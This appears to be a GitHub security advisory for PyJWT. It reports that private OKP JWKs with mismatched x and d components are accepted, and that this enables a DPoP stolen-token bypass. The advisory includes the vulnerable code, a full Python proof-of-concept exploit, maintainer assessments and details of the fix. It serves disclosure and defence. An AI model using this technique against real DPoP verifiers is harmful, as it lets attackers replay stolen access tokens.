GHSA-x33g-cr3x-6449MediumCVSS 6.5

PyJWT accepts inconsistent OKP x/d JWKs, causing public/private key identity confusion

Published
October 5, 2026
Last Modified
October 5, 2026

🔗 CVE IDs covered (1)

📋 Description

Summary

PyJWT accepts internally inconsistent OKP private JWKs where the declared public key x does not correspond to the supplied private key d.

When d is present, OKPAlgorithm.from_jwk() constructs the Ed25519/Ed448 private key from d without verifying that the public key derived from d matches x. As a result, the original JWK can contain one public key identity while PyJWT performs cryptographic operations using a different key.

In affected DPoP integrations, this can allow a stolen sender-constrained access token to be used without possession of the legitimate holder's private key.

Details

The vulnerable logic is in jwt/algorithms.py:

if "x" not in obj:
    raise InvalidKeyError('OKP should have "x" parameter')

x = base64url_decode(obj.get("x"))

if "d" not in obj:
    if curve == "Ed25519":
        return Ed25519PublicKey.from_public_bytes(x)
    return Ed448PublicKey.from_public_bytes(x)

d = base64url_decode(obj.get("d"))

if curve == "Ed25519":
    return Ed25519PrivateKey.from_private_bytes(d)

return Ed448PrivateKey.from_private_bytes(d)

When d is present, x is parsed but never compared with the public key derived from d.

For example, PyJWT accepts:

{
  "kty": "OKP",
  "crv": "Ed25519",
  "x": "<legitimate-user-public-key>",
  "d": "<attacker-private-key>"
}

even though x and d belong to different key pairs.

The behavior has existed since OKP private-JWK import was introduced:

  • Ed25519: PyJWT 2.1.0+
  • Ed448: PyJWT 2.2.0+
  • Confirmed through PyJWT 2.14.0 and current master

A correct import should derive the public key from d and reject the JWK when it does not equal the supplied x.

PoC

The reproducer creates two Ed25519 keypairs:

  • a legitimate holder keypair
  • an attacker keypair

It then:

  1. Creates an access token whose cnf.jkt is bound to the legitimate public key.
  2. Creates a DPoP proof JWK containing the legitimate user's x together with the attacker's d.
  3. Computes the RFC 7638 thumbprint from x, which still matches the access-token binding.
  4. Passes the complete JWK to PyJWK.from_dict().
  5. PyJWT imports the private key from the attacker-controlled d.
  6. A DPoP proof signed with the attacker's private key verifies successfully.

Observed result:

thumbprint_matches: true
actual_key_is_attacker_key: true
actual_key_matches_declared_x: false
stolen_sender_constrained_token_accepted: true
attacker_has_legitimate_private_key: false

Tested on PyJWT 2.13.0, PyJWT 2.14.0, and current master.

The complete reproducer is:

#!/usr/bin/env python3


from __future__ import annotations

import base64
import hashlib
import json
import os
import platform
import time
from importlib.metadata import version
from typing import Any

import jwt
from cryptography.hazmat.primitives.asymmetric.ed25519 import Ed25519PrivateKey
from cryptography.hazmat.primitives.serialization import (
    Encoding,
    NoEncryption,
    PrivateFormat,
    PublicFormat,
)


ACCESS_TOKEN_SECRET = b"synthetic-authorization-server-key-32b"
HTTP_METHOD = "GET"
HTTP_URI = "https://resource.example/protected"


def b64url(raw: bytes) -> str:
    return base64.urlsafe_b64encode(raw).rstrip(b"=").decode("ascii")


def public_x(private_key: Ed25519PrivateKey) -> str:
    return b64url(private_key.public_key().public_bytes(Encoding.Raw, PublicFormat.Raw))


def private_d(private_key: Ed25519PrivateKey) -> str:
    return b64url(
        private_key.private_bytes(Encoding.Raw, PrivateFormat.Raw, NoEncryption())
    )


def jwk_thumbprint(jwk: dict[str, Any]) -> str:
    canonical = json.dumps(
        {"crv": jwk["crv"], "kty": jwk["kty"], "x": jwk["x"]},
        separators=(",", ":"),
        sort_keys=True,
    ).encode("ascii")
    return b64url(hashlib.sha256(canonical).digest())


def access_token_hash(access_token: str) -> str:
    return b64url(hashlib.sha256(access_token.encode("ascii")).digest())


def verify_resource_request(
    access_token: str,
    proof: str,
    *,
    reject_private_header_jwk: bool = False,
) -> dict[str, Any]:
    """Model the security-relevant stages of an RFC 9449 resource server."""
    access_claims = jwt.decode(
        access_token,
        ACCESS_TOKEN_SECRET,
        algorithms=["HS256"],
        issuer="https://authorization.example",
        audience="resource-api",
        options={"require": ["exp", "iss", "aud", "sub", "cnf"]},
    )
    header = jwt.get_unverified_header(proof)
    if header.get("typ") != "dpop+jwt" or header.get("alg") != "EdDSA":
        raise ValueError("invalid DPoP header policy")
    jwk = header.get("jwk")
    if not isinstance(jwk, dict):
        raise ValueError("missing DPoP JWK")
    if reject_private_header_jwk and any(
        member in jwk for member in ("d", "p", "q", "dp", "dq", "qi", "k")
    ):
        raise ValueError("DPoP header JWK contains private material")
    if jwk_thumbprint(jwk) != access_claims["cnf"]["jkt"]:
        raise ValueError("DPoP key does not match cnf.jkt")

    key = jwt.PyJWK.from_dict(jwk)
    proof_claims = jwt.decode(
        proof,
        key,
        algorithms=["EdDSA"],
        options={"require": ["htm", "htu", "iat", "jti", "ath"]},
    )
    if proof_claims["htm"] != HTTP_METHOD or proof_claims["htu"] != HTTP_URI:
        raise ValueError("DPoP request binding mismatch")
    if proof_claims["ath"] != access_token_hash(access_token):
        raise ValueError("DPoP access-token hash mismatch")
    return access_claims


def main() -> None:
    legitimate_holder = Ed25519PrivateKey.generate()
    attacker = Ed25519PrivateKey.generate()
    legitimate_x = public_x(legitimate_holder)
    attacker_x = public_x(attacker)

    legitimate_public_jwk = {
        "alg": "EdDSA",
        "crv": "Ed25519",
        "kty": "OKP",
        "x": legitimate_x,
    }
    mismatched_proof_jwk = {
        **legitimate_public_jwk,
        "d": private_d(attacker),
    }
    pinned_jkt = jwk_thumbprint(legitimate_public_jwk)

    now = int(time.time())
    access_token = jwt.encode(
        {
            "aud": "resource-api",
            "cnf": {"jkt": pinned_jkt},
            "exp": now + 300,
            "iat": now,
            "iss": "https://authorization.example",
            "scope": "admin:read",
            "sub": "legitimate-holder",
        },
        ACCESS_TOKEN_SECRET,
        algorithm="HS256",
    )
    proof_claims = {
        "ath": access_token_hash(access_token),
        "htm": HTTP_METHOD,
        "htu": HTTP_URI,
        "iat": now,
        "jti": "synthetic-attacker-proof",
    }
    attacker_proof = jwt.encode(
        proof_claims,
        attacker,
        algorithm="EdDSA",
        headers={"jwk": mismatched_proof_jwk, "typ": "dpop+jwt"},
    )

    imported = jwt.PyJWK.from_dict(mismatched_proof_jwk).key
    imported_x = b64url(
        imported.public_key().public_bytes(Encoding.Raw, PublicFormat.Raw)
    )
    accepted_claims = verify_resource_request(access_token, attacker_proof)

    public_only_rejected = False
    public_only_error = None
    public_only_proof = jwt.encode(
        proof_claims,
        attacker,
        algorithm="EdDSA",
        headers={"jwk": legitimate_public_jwk, "typ": "dpop+jwt"},
    )
    try:
        verify_resource_request(access_token, public_only_proof)
    except Exception as error:
        public_only_rejected = True
        public_only_error = type(error).__name__

    private_member_control_rejected = False
    private_member_control_error = None
    try:
        verify_resource_request(
            access_token,
            attacker_proof,
            reject_private_header_jwk=True,
        )
    except Exception as error:
        private_member_control_rejected = True
        private_member_control_error = type(error).__name__

    result = {
        "environment": {
            "PyJWT": jwt.__version__,
            "PyJWT_source": str(jwt.__file__),
            "Python": platform.python_version(),
            "cryptography": version("cryptography"),
            "source_ref": os.environ.get("PYJWT_SOURCE_REF", "installed-release"),
        },
        "dpop_binding": {
            "access_token_subject": accepted_claims["sub"],
            "access_token_scope": accepted_claims["scope"],
            "pinned_jkt": pinned_jkt,
            "proof_jkt": jwk_thumbprint(mismatched_proof_jwk),
            "thumbprint_matches": jwk_thumbprint(mismatched_proof_jwk) == pinned_jkt,
        },
        "imported_key": {
            "declared_x": legitimate_x,
            "attacker_x": attacker_x,
            "actual_imported_x": imported_x,
            "actual_key_is_attacker_key": imported_x == attacker_x,
            "actual_key_matches_declared_x": imported_x == legitimate_x,
        },
        "vulnerable_composition": {
            "stolen_sender_constrained_token_accepted": accepted_claims["sub"]
            == "legitimate-holder",
            "attacker_has_legitimate_private_key": False,
        },
        "controls": {
            "public_only_jwk_rejected": public_only_rejected,
            "public_only_error": public_only_error,
            "reject_private_header_jwk_blocks_attack": private_member_control_rejected,
            "private_member_control_error": private_member_control_error,
        },
    }

    assert jwk_thumbprint(mismatched_proof_jwk) == pinned_jkt
    assert imported_x == attacker_x
    assert imported_x != legitimate_x
    assert accepted_claims["sub"] == "legitimate-holder"
    assert public_only_rejected and public_only_error == "InvalidSignatureError"
    assert private_member_control_rejected and private_member_control_error == "ValueError"
    print(json.dumps(result, indent=2, sort_keys=True))


if __name__ == "__main__":
    main()

06-practical-testing/pyjwt-okp-dpop-binding-bypass-lab.py

A public example of the affected composition exists in StrongDM's agentic-auth Flask middleware: it computes an OKP thumbprint from x and subsequently passes the entire JWK to PyJWK.from_dict() for EdDSA DPoP verification without rejecting d.

Impact

The PyJWT-owned issue is acceptance of internally inconsistent cryptographic key material: the JWK can declare one public key while the operative private key corresponds to another.

In a DPoP verifier that:

  • calculates cnf.jkt / JWK thumbprints from the declared x,
  • passes the same JWK to PyJWT for signature verification, and
  • does not reject private JWK parameters,

an attacker who steals a sender-constrained access token can use the token without possessing the legitimate holder's private key.

RFC 9449 §4.2 requires DPoP implementations to reject private key parameters in proof JWKs. Therefore the demonstrated authentication bypass additionally requires a DPoP implementation that omits this check. RFC-compliant DPoP implementations that reject d are not vulnerable to the demonstrated attack.

Maintainer assessment (2026-09-12)

We independently reproduced the PyJWT-owned issue: importing a private OKP JWK with non-corresponding x and d components returned the private key derived from d while accepting the conflicting declared public identity. The precise library impact is loss of JWK key-component consistency; a caller that uses x as the JWK identity and the returned key for cryptographic operations can act on two different key identities.

Exact boundary checks found Ed25519 JWK import absent in 2.0.1 and the inconsistent-pair behavior present in 2.1.0. Ed448 JWK import was absent in 2.1.0 and the behavior was present in 2.2.0. Both curves reproduced in 2.14.0 and the tested pre-fix source. These samples support the existing affected metadata (>= 2.1.0, <= 2.14.0) and the per-curve introduction points, but do not claim exhaustive testing of every intervening release.

The fix is on master in commit 3cd9ceec33ced359decbad75b413ad668ae6332c. It derives the public bytes from d, compares them with x, and rejects a mismatch. Fresh independent Astra/max review accepted the exact tree 9f219601e39026c7094d48f3fbb6678951878aa8 with no blocking findings or required revisions. Targeted red/green and sibling-path checks passed, and the exact repository CI command python -m tox passed all 35 required environments both before and after the commit.

The reported DPoP stolen-token scenario additionally requires an application to pass a private JWK from the proof header without rejecting private-key parameters. RFC 9449 sections 4.2 and 4.3 require such parameters to be absent or rejected, so that bypass is application-dependent and outside PyJWT's security-policy scope; it is not used to characterize the PyJWT-owned impact.

The fix is not yet contained in a released PyJWT 2.x version, so patched_versions remains empty and this advisory remains unpublished. The next lifecycle step is to move the advisory from triage to draft now that the verified fix is on master; publication must wait until a new released 2.x version is confirmed to contain the fix and is recorded as the patched boundary.

Maintainer release update (2026-09-23)

PyJWT 2.15.0 is the first released version containing the OKP JWK consistency fix. Its GitHub release tag points to commit 1d41a6478e1562e68ff667fcd703356acf085f68, which includes fix commit 3cd9ceec33ced359decbad75b413ad668ae6332c. PyPI published both the wheel and source distribution from that release commit through the successful production workflow at https://github.com/jpadilla/pyjwt/actions/runs/35891602963.

The published PyPI wheel (pyjwt-2.15.0-py3-none-any.whl, SHA-256 7a3742debf6b879e912dbb9819ceec1594be812452b78c5f2e2dfc56564954f8) was checked directly: matching Ed25519 and Ed448 x/d private JWK components import successfully, while mismatched components raise InvalidKeyError. The supported affected range remains >= 2.1.0, <= 2.14.0; the patched version is 2.15.0. The earlier statement that no released patched version exists is superseded by this update.

The PyJWT-owned impact is acceptance of internally inconsistent OKP key material in affected versions. The reported DPoP stolen-token scenario additionally requires an application to accept private key parameters from a proof header, contrary to RFC 9449; it is not the basis for this advisory's classification. CVSS v3.1 6.5 (Medium), CWE-345, and CWE-348 are unchanged.

🎯 Affected products1

  • pip/PyJWT:>= 2.1.0, <= 2.14.0

🔗 References (5)